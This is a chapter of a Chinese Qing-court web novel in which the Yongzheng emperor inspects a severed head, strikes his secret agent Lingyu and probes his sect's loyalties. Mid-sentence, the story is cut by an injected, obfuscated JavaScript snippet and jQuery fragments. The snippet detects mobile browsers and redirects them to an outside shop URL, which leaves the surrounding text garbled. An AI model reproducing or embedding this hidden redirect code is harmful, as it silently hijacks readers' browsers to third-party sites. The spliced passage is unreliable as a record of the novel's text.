20. 懋勤殿苏公公
作品:《紫禁城养崽我靠抽卡成了团宠开心果(清穿)》 在雍和宫将其余事宜分配给底下的二等侍卫们,筹备妥当后,灵语便离开粘杆处前往紫禁城。他手中仍提着那个褐红色的笼形装置,这里每个人都配备这种特殊的武器——“血滴子”,他们类似于锦衣卫,是只听命于皇帝的隐秘组织,上到暗杀下到刺探情报,凡是维护皇权之事,无所不可为。
他行走于紫禁城不起眼的阴暗处,如一道掠过的绯色月影。即使擦肩而过,也只会嗅到极其冷冽的血腥气,而不见踪迹。
“二哥儿快请罢,万岁爷在候着呢。”年长的首领太监苏培盛在懋勤殿外告诉他,便让出去往殿内的路。
皇上果然十分在意此事的结果,灵语微微颔首,将笼内之物呈到雍正面前。
雍正批折子的动作顿住,仔细端详起那颗被整齐切下的头颅,以笔顶挑开头颅的眼皮,翘起唇角轻笑:“苏努家族的家丁,朕认得他。呵呵,都是允祀那贱种养的一群好狗。”
灵语道:“此人替苏努贝勒送去一些问候与药品,问不出别的话来。”
“苏努早已被允祀邀结为党羽,八阿哥党沆瀣一气,老十四亦是其中要员,当年他率部西征,那苏努第十子镇国将军舒尔臣和第四子正黄旗副都统赫锡恒皆相应随行,如今还敢藕断丝连暗中勾结,当真不把朕放在眼里。那贱种身旁得力亲信都被先帝削成废人了,竟仍不消停!”雍正笔下力重了几分,头颅的眼球就这么被戳爆了。
天子怒,满室无人敢言语,静默侍立生怕引火烧身。但雍正却仿佛想起了什么,饶有兴味地看向灵语:“你们这个在内廷壮大起来的师门,据说自前代司礼监尚在之时便有了?纵横捭阖,为维系存续,往往会把弟子分别派去不同的竞争势力效忠——
你曾属于大千岁党,你师哥空山先忠于先帝,后来跟了朕,你四师弟抉眼加入八爷党被先帝清算牵连,落得一身残疾。如是,当年你们师傅统共收了几个徒弟?五党相争,不说并入太子党的老三,那么去了太子党的又是谁?”
灵语神色异样,空气都仿佛凝固住了,久久无言。他未曾抬眸,只听到翡翠佛念珠随着雍正起身走到他面前的步伐,沉稳地玎玲作响。每一声细微动静在这落针可闻的环境中,都带着众人的心一下下沉至底部。
“啪”地骤响,雍正抬手便是一记响亮的耳光,紧接着便是青铜面具以及珠链碎落之声,清越绵长如金磬之奏,残音沉远。
灵语岂敢躲避,生生挨住。面具边缘划破他皎白的耳垂,血像红玛瑙珠子一样坠落,他却并没有顺着这股力被打得偏开身,反而缓慢地跪俯下去…整个大殿的所有宫人都更早便惶恐地跪倒一片。
“爱卿竟还有事儿想瞒着朕,”雍正居高临下地看着他极力克制颤抖,鲜血却不断从他唇畔溢出,那如杜鹃花蓓蕾般粉嫩的纤薄唇瓣被染得鲜红,仿佛红蜘蛛布开的毒线,妖艳狰狞,“是不记得自己命是谁给的了么?你们师兄弟倒是同气连枝,就没有一个人肯坚定不移地选择朕!”
剧痛让使灵语眼前白光一片,他是大千岁党领袖中唯一活过康熙爷围剿铲除的,而这绝非没有代价,他服过特殊药物,如今是生是死,全在雍正一念之间,半点由不得自己。
精巧绝伦的甲刀刺破了自已心口血肉,灵语才感觉好似回上一口气,艰难地抬起眼帘,眸光中有种迷蒙的不解:“微臣的师哥对皇上竭尽忠诚,始终未变。”
雍正背着手漫不经心地轻甩一下念珠,深邃的眉目英气隽逸,却凝结着不知谓何的黯然嘲色:“朕瞧上去很愚钝无知么?你们师门那几件大事倒也称得上沸沸扬扬,空山同前任总管大臣素来不睦朕还是晓得的,你们师傅也不看好朕,他是被‘放逐’来朕这里的罢。”
“并非如此…”师傅擅于勘破事理,最大的放逐便是不管不顾,大师哥一切选择都是依据自身决断而行。而话还未出,灵语已是动一下便钻心的疼痛,唯有冷汗涔涔。
见雍正俯身近前来,灵语深知这遭躲不过,雷霆雨露俱是君恩,他早已释怀,长翘眼睫垂下,淡然等候着。
本来铁了心要责打不够听话的下属,可面具一碎雍正便无从下手了。这过于惊艳的瑰丽容颜宛如名匠呕心沥血打造的完美工艺品,哪有人能狠心将其破坏,水帘般绸密的睫毛正半掩着赤棕色双瞳,近乎深红玉髓般摄人心魂,仿佛未曾出世的绝迹珍宝。
于是乎雍正从他破损的那边耳垂扯下青金石莲花坠子,慢悠悠地把玩着。灵语看坠子上半干涸的血迹蹭到皇帝手上,更是不知该说什么,只得继续装聋作哑。
“真是,几个死人残废就把你紧张的,空山都告诉朕了,朕还能把你师弟们挖出来挫骨扬灰不成?”雍正回到桌案后坐下,挥了挥念珠让他平身,“举国之中第一高手,朕怎愿折损栋梁之材?爱卿是为朕看好的臻品选藏,更不该有旁的心思。”
师哥?灵语心底诧异,好在雍正平息怒意便不再折磨他,恢复力气他立即压下一切异常,起来垂首道:“微臣有万死之罪,谢皇上宽恕。”
复杂的心绪并未显于面上,论这大内中,亦有凌则能胜于他,所谓第一,只是皇帝尚且不知其存在罢了。这便是绝不可坦白的原因,若皇帝有了更得力的手下来做这些事,而知道秘密的人却不能再更多,他便横竖皆是死路一条了。
雍正翻着手中书卷,话锋忽转:“若魔鬼存在,朕觉得就该是你这副模样。”
灵语面色一白,实在瞧不准这位阴晴不定的主:“臣十恶不赦罪不可恕,皇上责罚得极是。”
见他又险些要跪,雍正却抬手赐座,笑了:“爱卿想岔了,朕虽严令禁止海外宗教煽惑民心,却是深刻研究他们的卷宗才做出决断。依《圣经》中所述,魔鬼美丽而蛊惑人心,天使悚怖而震慑诸恶,所以见到天使的第一句是‘不要怕,好孩子’。”
雍正竖起书卷给他看,灵语看不懂海外文字,坐立难安:“皇上过誉,罪臣愧不敢当。”
不时又传来批阅奏折的沙沙声,雍正按下御玺盖章,似乎放过了上一个话题,可哪怕是闲谈,那苍浑沙哑的嗓音依然具有威严穿透力:“虽说常州府璟玉堂的制造价比黄金,但用于印信却太过柔和,失了些附着质感。”他翻转御玺端详深红的印面,“看来是用藕丝
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17270950|196372||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
代替艾绒为媒介的缘故,整片藕塘就只得一盒泥,倒可惜弄巧成拙了,逊色于漳州地区的八宝印泥。毕竟,朱砂尤以鲜亮者为佳。”
雍正遂换掉印泥重新盖玺:“印色可为朱、为墨、为青、更甚者为蓝,而只有朱红广为使用,为众所认可,卿可知其原由?”
“朱红最为鲜亮醒目。”灵语谨慎不多言。
“并非如此简单,印信文书即为公证,便是望其得到有力证明。其为庄重、荣誉、卓伟,力量可以得到的所有,亦为杀伐、残酷、警告,力量毁灭那般的威胁。若金可象征权,那红象征的便是力,一道册令落下金印,便是权力的首肯,红章永恒留下,唯有力量才能保证它实施下去,否则它不过废纸一张。”雍正注视其深红之瞳,轻声犹如自语,“拥有足够力量便为天下人认可,这是亘古的真理。和血一样艳丽,蛊惑人心,谁都想要得到它,这就成了登上至高处必经的战争。”
“皇上一切指示,臣未曾不能办到,哪怕性命,亦俱由皇上掌控,还如何有异心?”灵语还是经不住慌了神,无可奈何地避开。皇帝并非头一次想挖他眼睛了,但当下这种意图前所未有的热切,委实令人绝望,“先帝已剜去臣师弟的双目,臣做了什么十恶不赦的事儿,皇上收去这条命便好,何必以同种办法让臣苟活于世?”
“有异心又如何?跟随朕的是谁都行,再强的力也得屈服于至高之权。到了如今这个位置,合该只有朕自己,旁人的真心有何用,不过是群放在宫中的摆设罢了。”雍正不以为意,眼眸深处却有一丝不易觉察的阴鸷,“很快分散在外的力便将全部收回,权力彻底统一,便是时候清算那些不识好歹的孽障了…全都变成安宁的藏品罢。
你知晓该怎么做,”雍正推开面前陈列的折子,微微前倾撑住桌面的两角,斐然不可平视,“履行职责,摧毁诸逆臣所建之高楼。不具备力量之人最好缩起头颅度日,他们就像断了喙的鹈鹕,百鸟密林亦无其容身之地,一旦崭露,便沦为养料被分食。血红的力量,是强者活下来的证明,这样的收藏品,才有留存价值。”
“是…微臣谨遵圣旨。”灵语右膝单跪,右手按地,敬打千礼,正要上前取走名册,刚垂首上方却罩下大片黄缎挡住视线。
“这儿没有面具,”雍正抬手指向灵语被打伤的那边脸,“被瞧见了总归不好,爱卿将就着回罢。”
黄缎罩,一般是用于遮盖御宝的宝褥,灵语只觉得脖颈沉重,其实以他的速度哪里会被瞧见,但圣意难违,只得如此告退:“谢皇上体恤。”
灵语刚推门出去,皇帝便让苏培盛他们进来,准备起驾前往慈宁宫。
虽然灵语消失得很快,苏培盛还是瞥见那滴落在脖颈上刺目的血迹,苏培盛瞬间觉察到事情的严重性——这种极度冰冷沉静的恼怒,最难平定。
即使殿前的侍从已收拾过这里一遍,血腥气依旧浓重得吓人。
“有那样不忠不孝的儿子,他的母亲会怎么想?”雍正一掸衣摆上了步辇,云淡风轻地拭去指尖猩红,“她那些大道理,会怎么用在老十四身上,朕很期待呢。”

